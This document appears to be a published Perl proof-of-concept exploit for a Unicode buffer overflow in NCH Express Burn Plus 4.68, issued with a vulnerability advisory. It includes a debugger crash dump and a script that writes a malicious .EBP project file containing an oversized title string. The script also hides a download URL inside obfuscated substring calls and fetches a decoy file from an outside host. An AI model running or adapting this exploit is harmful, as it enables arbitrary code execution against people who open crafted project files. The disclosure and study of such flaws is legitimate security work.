NCH Software Express Burn Plus 4.68 – ‘.EBP’ Project File Buffer Overflow
#!/usr/local/bin/perl # # # NCH Software Express Burn Plus 4.68 EBP Project File Handling Buffer Overflow PoC # # # Vendor: NCH Software # Product web page: http://www.nchsoftware.com # Affected version: 4.68 # # Summary: Express Burn is a program that allows you to create and copy many # kinds of disc media, including Audio (audio CDs / .mp3 CDs), Video (DVDs), # and Data (CDs / DVDs / Blu-ray). # # Desc: The vulnerability is caused due to a boundary error in the processing # of a project file, which can be exploited to cause a unicode buffer overflow # when a user opens e.g. a specially crafted .EBP file. Successful exploitation # could allow execution of arbitrary code on the affected machine. # # # =========================================================================== # # (1144.1488): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\NCH Software\ExpressBurn\expressburn.exe # eax=03418568 ebx=004034ec ecx=00000041 edx=00011a98 esi=03429428 edi=001893df # eip=004679ef esp=00185f18 ebp=00187254 iopl=0 nv up ei pl nz na pe nc # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 # expressburn+0x679ef: # 004679ef 66890c02 mov word ptr [edx+eax],cx ds:002b:0342a000=???? # 0:000> d eax # 03418568 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. # 03418578 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. # 03418588 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. # 03418598 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. # 034185a8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. # 034185b8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. # 034185c8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. # 034185d8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. # # =========================================================================== # # # Tested on: Microsoft Windows 7 Professional SP1 EN # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Zero Science Lab - http://www.zeroscience.mk # # # Advisory ID: ZSL-2014-5166 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5166.php # # # 20.01.2014 # use Cwd; use LWP::Simple; print "\n #=---===---===---===---===---===---===---===---=# | | | Proof Of Concept script for | | | | NCH Software Express Burn Plus v4.68 | | | | | | ID: ZSL-2014-5166 | | | | --- | | | | Copyleft (c) 2014 | | | | Zero Science Lab - http://www.zeroscience.mk | | | #=---===---===---===---===---===---===---===---=# \n"; $file = "Exploit2.EBP"; $zoom = substr(")aZh4/",3,1).substr("^7ttr",2,2).substr("p>eErZ",0,1). substr("7U:/.9",2,2).substr("v/!+T",1,1).substr("oL4z55",3,1). substr("erY3%",0,2).substr("8oscW1",1,3).substr("iLien@",2,3). substr("*hJ2ce",4,2).substr("6.#h1A",1,1).substr("mk-((",0,2). substr(">/cZo",1,2).substr("[Mood]4",3,2).substr("lesS?",1,2). substr("a*\@J/b",4,2).substr("lue8X",0,3).substr("fish6",0,4). substr(",,8Y.b",4,1).substr("GrUmp!",3,2).substr("1337:",2,1); print "\n\n\x20\x20\x1A Creating malicious project file...\n\n"; $decoy = "440Hz.mp3"; getstore($zoom, $decoy); print "\x20\x20\x1A Throwing decoy file: $decoy...\n"; $buffer = "\x41\x41\x41\x41" x (15000/2); $dir = getcwd; $dir =~ s/\//\\/g; $load = "<?xml version=\"1.0\"?>\<ExpressBurnProject type=\"0\"><Alb". "umTitle/><TrackList><Audiotrack file=\"$dir\\$decoy\" title". "=\"$buffer\" artist=\"Salvador\"/></TrackList>\r</ExpressBu". "rnProject>\r"; open fp, ">./$file" || die "\n[-] Can't open $file: $!\n\n"; print fp $load; close fp; print "\n\x20\x20\x19 File created successfully: $file "; $file = -s $file; print "($file bytes)\n\n\n"; |